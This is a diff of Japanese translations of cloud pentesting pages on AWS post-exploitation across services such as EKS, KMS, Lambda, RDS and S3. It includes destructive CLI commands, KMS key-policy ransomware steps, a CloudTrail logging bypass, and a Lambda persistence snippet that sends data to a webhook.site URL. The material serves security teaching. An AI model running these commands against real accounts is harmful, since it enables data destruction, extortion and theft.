 EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます（その中に機密情報を探すことができます）。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md

@@ -12,23 +12,23 @@
 
 ### `elasticfilesystem:DeleteMountTarget`
 
-攻撃者はマウントターゲットを削除することができ、アプリケーションやユーザーがそのマウントターゲットに依存している場合、EFSファイルシステムへのアクセスが中断される可能性があります。
+攻撃者はマウントターゲットを削除することができ、アプリケーションやそのマウントターゲットに依存するユーザーのEFSファイルシステムへのアクセスを妨げる可能性があります。
 ```sql
 aws efs delete-mount-target --mount-target-id <value>
 ```
-**潜在的な影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
+**潜在的影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
 
 ### `elasticfilesystem:DeleteFileSystem`
 
-攻撃者は、EFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
+攻撃者はEFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
 ```perl
 aws efs delete-file-system --file-system-id <value>
 ```
-**潜在的な影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービスの中断。
+**潜在的影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービス中断。
 
 ### `elasticfilesystem:UpdateFileSystem`
 
-攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソースの枯渇を引き起こしたりする可能性があります。
+攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソース枯渇を引き起こしたりする可能性があります。
 ```sql
 aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
 ```
@@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-
 
 ### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
 
-攻撃者はアクセス・ポイントを作成または削除することで、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
+攻撃者はアクセスポイントを作成または削除し、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
 ```arduino
 aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
 aws efs delete-access-point --access-point-id <value>

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md

@@ -10,22 +10,22 @@
 ../aws-services/aws-eks-enum.md
 {{#endref}}
 
-### AWSコンソールからクラスターを列挙する
+### AWS コンソールからクラスターを列挙する
 
-**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKSコンソールを介して**Kubernetesオブジェクトを表示**できます（[詳細はこちら](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)）。
+**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKS コンソールを介して **Kubernetes オブジェクトを表示** できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
 
-### AWS Kubernetesクラスターに接続する
+### AWS Kubernetes クラスターに接続する
 
 - 簡単な方法:
 ```bash
 # Generate kubeconfig
 aws eks update-kubeconfig --name aws-eks-dev
 ```
-- 簡単ではない方法:
+- 簡単ではない方法：
 
-もし **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスター情報 (describeCluster) を取得する権限がない場合、**自分の `~/.kube/config` を準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です (ポッドから JWT トークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を参照) と **クラスターの名前** が必要です。
+もしあなたが **`aws eks get-token --name <cluster_name>`** で **トークンを取得できる** が、クラスター情報を取得する権限（describeCluster）がない場合、あなた自身の **`~/.kube/config`** を **準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です（ポッドからJWTトークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を読んでください）と **クラスターの名前** が必要です。
 
-私の場合、CloudWatch ログでは情報を見つけられませんでしたが、**LaunchTemplates の userData** と **EC2 マシンの userData** で見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では (クラスター名は cluster-name でした):
+私の場合、CloudWatchログでは情報を見つけられませんでしたが、**LaunchTemplatesのuserData** と **EC2マシンのuserData** で情報を見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では（クラスター名は cluster-name でした）：
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
@@ -72,24 +72,24 @@ provideClusterInfo: false
 
 ### AWSからKubernetesへ
 
-**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この執筆時点では、**クラスターを作成した人**を見つける**直接的な方法**はありません（CloudTrailを確認できます）。また、その**特権**を**削除する方法**もありません。
+**EKSクラスター**の**作成者**は、グループ**`system:masters`**（k8s管理者）のkubernetesクラスター部分に**常に**アクセスできることになります。この文書作成時点では、**クラスターを作成した人**を見つける**直接的な方法**は**ありません**（CloudTrailを確認できます）。また、その**特権**を**削除する方法**も**ありません**。
 
-**K8sへのアクセスを他のAWS IAMユーザーやロールに付与する方法**は、**configmap** **`aws-auth`**を使用することです。
+**AWS IAMユーザーやロールにK8sへのアクセスを付与する方法**は、**configmap** **`aws-auth`**を使用することです。
 
 > [!WARNING]
 > したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。
 
-**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**privescこのページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
+**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**このページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
 
 また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。
 
 ### KubernetesからAWSへ
 
-**Kubernetesサービスアカウント**のために**OpenID認証を許可する**ことが可能で、これによりAWSでロールを引き受けることができます。これがどのように機能するかについては、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
+**Kubernetesサービスアカウント**のための**OpenID認証**を許可し、AWSでロールを引き受けることができるようにすることが可能です。これがどのように機能するかは、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
 
 ### JWTトークンからAPIサーバーエンドポイントを取得する
 
-JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準形式は次の通りです。
+JWTトークンをデコードすると、クラスターIDとリージョンが得られます。![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URLの標準フォーマットは
 ```bash
 https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 ```
@@ -98,7 +98,7 @@ https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 - gr7
 - yl4
 
-とにかく、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
+いずれにせよ、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
 ```python
 from itertools import product
 from string import ascii_lowercase
@@ -123,20 +123,20 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
 
 ### CloudTrailのバイパス
 
-攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はAWS APIと対話しないため、CloudTrailにログを生成しません（トークンをローカルで作成するだけです）。
+攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はCloudTrailにログを生成しません（AWS APIと対話せず、トークンをローカルで作成するだけだからです）。
 
-したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連する何もログに記録しません**。
+したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連するログを記録しません**。
 
-**EKSクラスターにはこのアクセスをログに記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。
+**EKSクラスターにはこのアクセスを記録するログが有効になっている可能性がある**ことに注意してください（デフォルトでは無効になっていますが）。
 
 ### EKSの身代金？
 
-デフォルトでは、**クラスターを作成したユーザーまたはロールは**、**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
+デフォルトでは、**クラスターを作成したユーザーまたはロール**は**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
 
-したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除した場合、~~攻撃者はクラスターを**身代金にすることができた~~**。
+したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除**すると、~~攻撃者は**クラスターを身代金にすることができた**~~**。
 
 > [!TIP]
-> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能であることに注意してください。
+> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能です。
 >
 > 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - Elastic Beanstalk ポストエクスプロイテーション
+# AWS - Elastic Beanstalk Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-詳細情報:
+詳細情報については：
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
@@ -15,16 +15,16 @@
 > [!NOTE]
 > TODO: これに対して追加の権限が必要かテストする
 
-`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
+`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションのデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-**潜在的な影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
+**潜在的影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
 
 ### `elasticbeanstalk:TerminateEnvironment`
 
 > [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
+> TODO: これに対して追加の権限が必要かテストする
 
 `elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。
 ```bash
@@ -41,7 +41,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 ```bash
 aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
 ```
-**潜在的な影響**: アプリケーションリソース、構成、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
+**潜在的影響**: アプリケーションリソース、設定、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
 
 ### `elasticbeanstalk:SwapEnvironmentCNAMEs`
 
@@ -59,12 +59,12 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
 > [!NOTE]
 > TODO: これに必要な権限が他にあるかテストする
 
-`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は **Elastic Beanstalk リソースにタグを追加または削除することができます**。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
+`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は、**Elastic Beanstalk リソースにタグを追加または削除**することができます。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
 ```bash
 aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
 
 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
 ```
-**潜在的な影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
+**潜在的影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md

@@ -1,24 +1,24 @@
-# AWS - IAM Post Exploitation
+# AWS - IAM ポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## IAM
 
-IAMアクセスに関する詳細情報:
+IAM アクセスに関する詳細情報:
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-## Confused Deputy Problem
+## 混乱した代理人問題
 
-もしあなたが**外部アカウント(A)**にあなたのアカウントの**ロール**にアクセスすることを許可すると、**その外部アカウントに正確にアクセスできるのは誰か**について**0の可視性**しか持たないことになります。これは問題です。なぜなら、別の外部アカウント(B)が外部アカウント(A)にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。
+もしあなたが **外部アカウント (A)** にあなたのアカウントの **ロール** へのアクセスを許可すると、あなたは **その外部アカウントに正確にアクセスできる人が誰かについての可視性がゼロ** になるでしょう。これは問題です。なぜなら、別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。
 
-したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId`を指定することが可能です。これは、外部アカウント(A)が**あなたの組織のロールを引き受けるために**指定する必要がある「秘密」の文字列です。**外部アカウントBはこの文字列を知らないため**、Aにアクセスできても、**あなたのロールにアクセスすることはできません**。
+したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId` を指定することが可能です。これは、外部アカウント (A) が **あなたの組織のロールを引き受けるために指定する必要がある** "秘密" の文字列です。**外部アカウント B はこの文字列を知らないため**、A にアクセスできても、**あなたのロールにアクセスすることはできません**。
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-ただし、この`ExternalId`の「秘密」は**秘密ではありません**。IAMのロール引き受けポリシーを**読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウントAがそれを知っていて、外部アカウント**Bがそれを知らない限り、BがAを悪用してあなたのロールにアクセスすることを**防ぎます**。
+ただし、この `ExternalId` の "秘密" は **秘密ではありません**。IAM のロール引き受けポリシーを **読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っていて、外部アカウント **B がそれを知らない限り、B が A を悪用してあなたのロールにアクセスすることを防ぎます**。
 
 例:
 ```json
@@ -62,9 +62,9 @@ IAMアクセスに関する詳細情報:
 "Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
-このポリシーは**任意のアカウント**がこのLambdaを呼び出すために自分のapigatewayを設定することを許可します。
+このポリシーは**任意のアカウント**が自分のapigatewayを設定してこのLambdaを呼び出すことを許可します。
 
-#### S3を主体として
+#### S3をプリンシパルとして
 ```json
 "Condition": {
 "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ IAMアクセスに関する詳細情報:
 }
 }
 ```
-もしS3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、もし**あなたのバケットを削除し、攻撃者が自分のアカウントでそれを作成した場合**、彼らはこれを悪用することができます。
+S3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、**バケットを削除し、攻撃者が自分のアカウントで作成した場合**、彼らはこれを悪用することができます。
 
 #### サポートされていません
 ```json
@@ -84,7 +84,7 @@ IAMアクセスに関する詳細情報:
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-混乱した代理人の問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNをチェックする条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**（いくつかの情報源によるとCloudTrailのように）。
+Confused Deputyの問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNを確認する条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**（いくつかの情報源によるとCloudTrailのように）。
 
 ## 参考文献
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md

@@ -12,9 +12,9 @@
 
 ### 情報の暗号化/復号化
 
-`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです：
+`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルへのパスを指定するために使用される URI スキームです：
 
-- `fileb://:` バイナリモードでファイルを読み取ります。通常、テキスト以外のファイルに使用されます。
+- `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。
 - `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。
 
 > [!TIP]
@@ -60,14 +60,14 @@ aws kms decrypt \
 ```
 ### KMS ランサムウェア
 
-KMS に対して特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
+KMS に特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対するアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
 
 その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。
 
 > [!WARNING]
 > **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。
 
-> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください（ウェブコンソールにこのオプションがないため、この攻撃は CLI からのみ可能です）。
+> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください（このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です）。
 ```bash
 # Force policy change
 aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 }
 ```
 > [!CAUTION]
-> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを与え、その外部アカウントから元のアカウントにアクセスを戻す新しいポリシーを設定しようとすると、**できなくなります**。
+> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻すことはできません**。
 
 <figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
 
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます：
 
 - 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する**
-- 新しいキーで以前のバージョンで暗号化された**古いデータを再暗号化する**
+- 以前のバージョンで暗号化された**古いデータを新しいもので再暗号化する**
 - **KMSキーを削除する**
 - これで、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号化できるようになります
 
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています：**
+> AWSは現在、**クロスアカウントから前のアクションが実行されるのを防いでいます：**
 
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md

@@ -10,7 +10,7 @@
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### 他のLambdaのURLリクエストを盗む
+### 他のLambda URLリクエストを盗む
 
 攻撃者が何らかの方法でLambda内でRCEを取得した場合、他のユーザーのHTTPリクエストをLambdaから盗むことができます。リクエストに機密情報（クッキー、認証情報など）が含まれている場合、それを盗むことができます。
 
@@ -18,7 +18,7 @@
 aws-warm-lambda-persistence.md
 {{#endref}}
 
-### 他のLambdaのURLリクエストと拡張リクエストを盗む
+### 他のLambda URLリクエストと拡張リクエストを盗む
 
 Lambda Layersを悪用することで、拡張機能を悪用し、Lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md

@@ -20,10 +20,10 @@ bootstrapはユーザーコードをモジュールとして読み込むため
 
 この攻撃の目的は、ユーザーコードが脆弱なリクエストを処理する**`bootstrap.py`**プロセス内で悪意のある**`bootstrap.py`**プロセスを実行させることです。このようにして、**悪意のあるbootstrap**プロセスは**initプロセスと通信を開始**し、リクエストを処理しますが、**正当な**bootstrapは**トラップ**されて悪意のあるものを実行しているため、initプロセスにリクエストを要求しません。
 
-これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、達成するのは簡単な作業です。したがって、攻撃者は次のことができます：
+これは、ユーザーのコードが正当な**`bootstrap.py`**プロセスによって実行されているため、簡単に達成できるタスクです。したがって、攻撃者は次のことができます：
 
 - **現在の呼び出しの偽の結果をinitプロセスに送信**し、initがbootstrapプロセスがさらに呼び出しを待っていると考えさせる。
-- **`/${invoke-id}/response`**にリクエストを送信する必要があります。
+- リクエストは**`/${invoke-id}/response`**に送信する必要があります。
 - invoke-idは、正当な**`bootstrap.py`**プロセスのスタックから[**inspect**](https://docs.python.org/3/library/inspect.html) pythonモジュールを使用して取得することができます（[ここで提案されたように](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)）または再度**`/2018-06-01/runtime/invocation/next`**にリクエストすることでも取得できます（[ここで提案されたように](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)）。
 - 次の呼び出しを処理する悪意のある**`boostrap.py`**を実行する。
 - ステルス性の目的で、lambda呼び出しパラメータを攻撃者が制御するC2に送信し、その後リクエストを通常通り処理することが可能です。
@@ -52,9 +52,9 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
 exec(new_runtime)
 EOF
 ```
-For more info check [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
+詳細については、[https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)を確認してください。
 
-## References
+## 参考文献
 
 - [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md

@@ -1,10 +1,10 @@
-# AWS - Lightsail Post Exploitation
+# AWS - Lightsail ポストエクスプロイテーション
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Lightsail
 
-詳細については、次を確認してください：
+詳細については、次を確認してください:
 
 {{#ref}}
 ../aws-services/aws-lightsail-enum.md
@@ -16,12 +16,12 @@ DBにスナップショットがある場合、**古いスナップショット
 
 ### インスタンススナップショットの復元
 
-インスタンススナップショットには、**既に削除されたインスタンスの機密情報や、現在のインスタンスで削除された機密情報が含まれている可能性があります**。**スナップショットから新しいインスタンスを作成**し、確認してください。\
+インスタンススナップショットには、**すでに削除されたインスタンスの機密情報**や、現在のインスタンスで削除された機密情報が含まれている可能性があります。**スナップショットから新しいインスタンスを作成**し、確認してください。\
 または、**スナップショットをEC2のAMIにエクスポート**し、通常のEC2インスタンスの手順に従ってください。
 
 ### 機密情報へのアクセス
 
-Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください：
+Lightsailの特権昇格オプションを確認して、潜在的な機密情報にアクセスするさまざまな方法を学んでください:
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lightsail-privesc.md

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md

@@ -2,15 +2,15 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## 組織
+## Organizations
 
-AWS Organizationsに関する詳細情報は、以下を確認してください：
+AWS Organizationsに関する詳細は、以下を確認してください：
 
 {{#ref}}
 ../aws-services/aws-organizations-enum.md
 {{#endref}}
 
-### 組織を離れる
+### Orgを離れる
 ```bash
 aws organizations deregister-account --account-id <account_id> --region <region>
 ```

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md

@@ -42,7 +42,7 @@ aws rds modify-db-instance \
 
 これらの権限を持つ攻撃者は、**DBのスナップショットを作成**し、それを**公開****可能**にすることができます。次に、彼はそのスナップショットから自分のアカウントにDBを作成することができます。
 
-攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、他の作成されたスナップショットを**公開**にすることができます。
+攻撃者が**`rds:CreateDBSnapshot`**を持っていない場合でも、**他の**作成されたスナップショットを**公開**にすることができます。
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,11 +53,11 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録された場合、攻撃者はこの情報を利用して権限を昇格させたり、不正な操作を行ったりする可能性があります。
+`rds:DownloadDBLogFilePortion` 権限を持つ攻撃者は **RDS インスタンスのログファイルの一部をダウンロード** できます。機密データやアクセス資格情報が誤ってログに記録されている場合、攻撃者はこの情報を利用して権限を昇格させたり、無許可の行動を行ったりする可能性があります。
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が行われる可能性があります。
+**潜在的な影響**: 漏洩した資格情報を使用して、機密情報へのアクセスや不正な操作が可能になります。
 
 ### `rds:DeleteDBInstance`
 
@@ -66,17 +66,17 @@ aws rds download-db-log-file-portion --db-instance-identifier target-instance --
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**潜在的な影響**: 既存のRDSインスタンスの削除と、データの損失の可能性。
+**潜在的な影響**: 既存のRDSインスタンスの削除とデータの損失の可能性。
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
 > TODO: テスト
 
-この権限を持つ攻撃者は、**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
+この権限を持つ攻撃者は**RDSインスタンスのスナップショットをS3バケットにエクスポート**できます。攻撃者が宛先のS3バケットを制御している場合、エクスポートされたスナップショット内の機密データにアクセスできる可能性があります。
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
-**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。
+**潜在的な影響**: エクスポートされたスナップショット内の機密データへのアクセス。 
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md

@@ -12,20 +12,20 @@
 
 ### 機密情報
 
-時には、バケット内で読み取り可能な機密情報を見つけることができます。例えば、terraformの状態秘密。
+時には、バケット内で読み取れる機密情報を見つけることができます。例えば、terraformの状態秘密。
 
 ### ピボッティング
 
 異なるプラットフォームがS3を使用して機密資産を保存している可能性があります。\
-例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されている可能性があります。書き込み権限を持つ攻撃者は、バケット内の**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
+例えば、**airflow**が**DAGs**の**コード**をそこに保存しているか、**ウェブページ**がS3から直接提供されているかもしれません。書き込み権限を持つ攻撃者は、バケットの**コードを変更**して他のプラットフォームに**ピボット**したり、JSファイルを変更して**アカウントを乗っ取る**ことができます。
 
 ### S3 ランサムウェア
 
